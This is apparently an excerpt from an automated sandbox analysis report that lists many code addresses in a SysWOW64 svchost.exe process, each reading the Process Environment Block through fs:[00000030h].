Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]	2_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B0283 mov eax, dword ptr fs:[00000030h]	2_2_030B0283
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402A0 mov eax, dword ptr fs:[00000030h]	2_2_030402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402A0 mov eax, dword ptr fs:[00000030h]	2_2_030402A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov ecx, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C62A0 mov eax, dword ptr fs:[00000030h]	2_2_030C62A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303A2C3 mov eax, dword ptr fs:[00000030h]	2_2_0303A2C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]	2_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]	2_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030402E1 mov eax, dword ptr fs:[00000030h]	2_2_030402E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov ecx, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030DA118 mov eax, dword ptr fs:[00000030h]	2_2_030DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F0115 mov eax, dword ptr fs:[00000030h]	2_2_030F0115
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03060124 mov eax, dword ptr fs:[00000030h]	2_2_03060124
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov ecx, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C4144 mov eax, dword ptr fs:[00000030h]	2_2_030C4144
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C156 mov eax, dword ptr fs:[00000030h]	2_2_0302C156
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C8158 mov eax, dword ptr fs:[00000030h]	2_2_030C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036154 mov eax, dword ptr fs:[00000030h]	2_2_03036154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03036154 mov eax, dword ptr fs:[00000030h]	2_2_03036154
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03070185 mov eax, dword ptr fs:[00000030h]	2_2_03070185
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EC188 mov eax, dword ptr fs:[00000030h]	2_2_030EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030EC188 mov eax, dword ptr fs:[00000030h]	2_2_030EC188
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D4180 mov eax, dword ptr fs:[00000030h]	2_2_030D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D4180 mov eax, dword ptr fs:[00000030h]	2_2_030D4180
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B019F mov eax, dword ptr fs:[00000030h]	2_2_030B019F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]	2_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]	2_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A197 mov eax, dword ptr fs:[00000030h]	2_2_0302A197
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F61C3 mov eax, dword ptr fs:[00000030h]	2_2_030F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F61C3 mov eax, dword ptr fs:[00000030h]	2_2_030F61C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov ecx, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE1D0 mov eax, dword ptr fs:[00000030h]	2_2_030AE1D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_031061E5 mov eax, dword ptr fs:[00000030h]	2_2_031061E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030601F8 mov eax, dword ptr fs:[00000030h]	2_2_030601F8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4000 mov ecx, dword ptr fs:[00000030h]	2_2_030B4000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D2000 mov eax, dword ptr fs:[00000030h]	2_2_030D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E016 mov eax, dword ptr fs:[00000030h]	2_2_0304E016
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A020 mov eax, dword ptr fs:[00000030h]	2_2_0302A020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C020 mov eax, dword ptr fs:[00000030h]	2_2_0302C020
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C6030 mov eax, dword ptr fs:[00000030h]	2_2_030C6030
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032050 mov eax, dword ptr fs:[00000030h]	2_2_03032050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6050 mov eax, dword ptr fs:[00000030h]	2_2_030B6050
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305C073 mov eax, dword ptr fs:[00000030h]	2_2_0305C073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303208A mov eax, dword ptr fs:[00000030h]	2_2_0303208A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C80A8 mov eax, dword ptr fs:[00000030h]	2_2_030C80A8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F60B8 mov eax, dword ptr fs:[00000030h]	2_2_030F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F60B8 mov ecx, dword ptr fs:[00000030h]	2_2_030F60B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B20DE mov eax, dword ptr fs:[00000030h]	2_2_030B20DE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302A0E3 mov ecx, dword ptr fs:[00000030h]	2_2_0302A0E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030380E9 mov eax, dword ptr fs:[00000030h]	2_2_030380E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B60E0 mov eax, dword ptr fs:[00000030h]	2_2_030B60E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C0F0 mov eax, dword ptr fs:[00000030h]	2_2_0302C0F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030720F0 mov ecx, dword ptr fs:[00000030h]	2_2_030720F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C700 mov eax, dword ptr fs:[00000030h]	2_2_0306C700
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030710 mov eax, dword ptr fs:[00000030h]	2_2_03030710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03060710 mov eax, dword ptr fs:[00000030h]	2_2_03060710
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C720 mov eax, dword ptr fs:[00000030h]	2_2_0306C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C720 mov eax, dword ptr fs:[00000030h]	2_2_0306C720
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306273C mov eax, dword ptr fs:[00000030h]	2_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306273C mov ecx, dword ptr fs:[00000030h]	2_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306273C mov eax, dword ptr fs:[00000030h]	2_2_0306273C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AC730 mov eax, dword ptr fs:[00000030h]	2_2_030AC730
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306674D mov esi, dword ptr fs:[00000030h]	2_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306674D mov eax, dword ptr fs:[00000030h]	2_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306674D mov eax, dword ptr fs:[00000030h]	2_2_0306674D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03030750 mov eax, dword ptr fs:[00000030h]	2_2_03030750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BE75D mov eax, dword ptr fs:[00000030h]	2_2_030BE75D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072750 mov eax, dword ptr fs:[00000030h]	2_2_03072750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072750 mov eax, dword ptr fs:[00000030h]	2_2_03072750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B4755 mov eax, dword ptr fs:[00000030h]	2_2_030B4755
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038770 mov eax, dword ptr fs:[00000030h]	2_2_03038770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040770 mov eax, dword ptr fs:[00000030h]	2_2_03040770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030D678E mov eax, dword ptr fs:[00000030h]	2_2_030D678E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030307AF mov eax, dword ptr fs:[00000030h]	2_2_030307AF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303C7C0 mov eax, dword ptr fs:[00000030h]	2_2_0303C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B07C3 mov eax, dword ptr fs:[00000030h]	2_2_030B07C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]	2_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]	2_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030527ED mov eax, dword ptr fs:[00000030h]	2_2_030527ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030BE7E1 mov eax, dword ptr fs:[00000030h]	2_2_030BE7E1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030347FB mov eax, dword ptr fs:[00000030h]	2_2_030347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030347FB mov eax, dword ptr fs:[00000030h]	2_2_030347FB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE609 mov eax, dword ptr fs:[00000030h]	2_2_030AE609
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304260B mov eax, dword ptr fs:[00000030h]	2_2_0304260B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03072619 mov eax, dword ptr fs:[00000030h]	2_2_03072619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304E627 mov eax, dword ptr fs:[00000030h]	2_2_0304E627
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03066620 mov eax, dword ptr fs:[00000030h]	2_2_03066620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068620 mov eax, dword ptr fs:[00000030h]	2_2_03068620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0303262C mov eax, dword ptr fs:[00000030h]	2_2_0303262C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0304C640 mov eax, dword ptr fs:[00000030h]	2_2_0304C640
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F866E mov eax, dword ptr fs:[00000030h]	2_2_030F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030F866E mov eax, dword ptr fs:[00000030h]	2_2_030F866E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A660 mov eax, dword ptr fs:[00000030h]	2_2_0306A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A660 mov eax, dword ptr fs:[00000030h]	2_2_0306A660
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03062674 mov eax, dword ptr fs:[00000030h]	2_2_03062674
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034690 mov eax, dword ptr fs:[00000030h]	2_2_03034690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03034690 mov eax, dword ptr fs:[00000030h]	2_2_03034690
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C6A6 mov eax, dword ptr fs:[00000030h]	2_2_0306C6A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030666B0 mov eax, dword ptr fs:[00000030h]	2_2_030666B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A6C7 mov ebx, dword ptr fs:[00000030h]	2_2_0306A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A6C7 mov eax, dword ptr fs:[00000030h]	2_2_0306A6C7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030AE6F2 mov eax, dword ptr fs:[00000030h]	2_2_030AE6F2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B06F1 mov eax, dword ptr fs:[00000030h]	2_2_030B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B06F1 mov eax, dword ptr fs:[00000030h]	2_2_030B06F1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030C6500 mov eax, dword ptr fs:[00000030h]	2_2_030C6500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03104500 mov eax, dword ptr fs:[00000030h]	2_2_03104500
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03040535 mov eax, dword ptr fs:[00000030h]	2_2_03040535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]	2_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]	2_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]	2_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]	2_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E53E mov eax, dword ptr fs:[00000030h]	2_2_0305E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038550 mov eax, dword ptr fs:[00000030h]	2_2_03038550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03038550 mov eax, dword ptr fs:[00000030h]	2_2_03038550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]	2_2_0306656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]	2_2_0306656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306656A mov eax, dword ptr fs:[00000030h]	2_2_0306656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032582 mov eax, dword ptr fs:[00000030h]	2_2_03032582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03032582 mov ecx, dword ptr fs:[00000030h]	2_2_03032582
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03064588 mov eax, dword ptr fs:[00000030h]	2_2_03064588
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E59C mov eax, dword ptr fs:[00000030h]	2_2_0306E59C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]	2_2_030B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]	2_2_030B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B05A7 mov eax, dword ptr fs:[00000030h]	2_2_030B05A7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030545B1 mov eax, dword ptr fs:[00000030h]	2_2_030545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030545B1 mov eax, dword ptr fs:[00000030h]	2_2_030545B1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E5CF mov eax, dword ptr fs:[00000030h]	2_2_0306E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E5CF mov eax, dword ptr fs:[00000030h]	2_2_0306E5CF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030365D0 mov eax, dword ptr fs:[00000030h]	2_2_030365D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0306A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A5D0 mov eax, dword ptr fs:[00000030h]	2_2_0306A5D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0305E5E7 mov eax, dword ptr fs:[00000030h]	2_2_0305E5E7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030325E0 mov eax, dword ptr fs:[00000030h]	2_2_030325E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C5ED mov eax, dword ptr fs:[00000030h]	2_2_0306C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306C5ED mov eax, dword ptr fs:[00000030h]	2_2_0306C5ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]	2_2_03068402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]	2_2_03068402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03068402 mov eax, dword ptr fs:[00000030h]	2_2_03068402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]	2_2_0302E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]	2_2_0302E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302E420 mov eax, dword ptr fs:[00000030h]	2_2_0302E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0302C427 mov eax, dword ptr fs:[00000030h]	2_2_0302C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_030B6420 mov eax, dword ptr fs:[00000030h]	2_2_030B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306A430 mov eax, dword ptr fs:[00000030h]	2_2_0306A430
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0306E443 mov eax, dword ptr fs:[00000030h]	2_2_0306E443
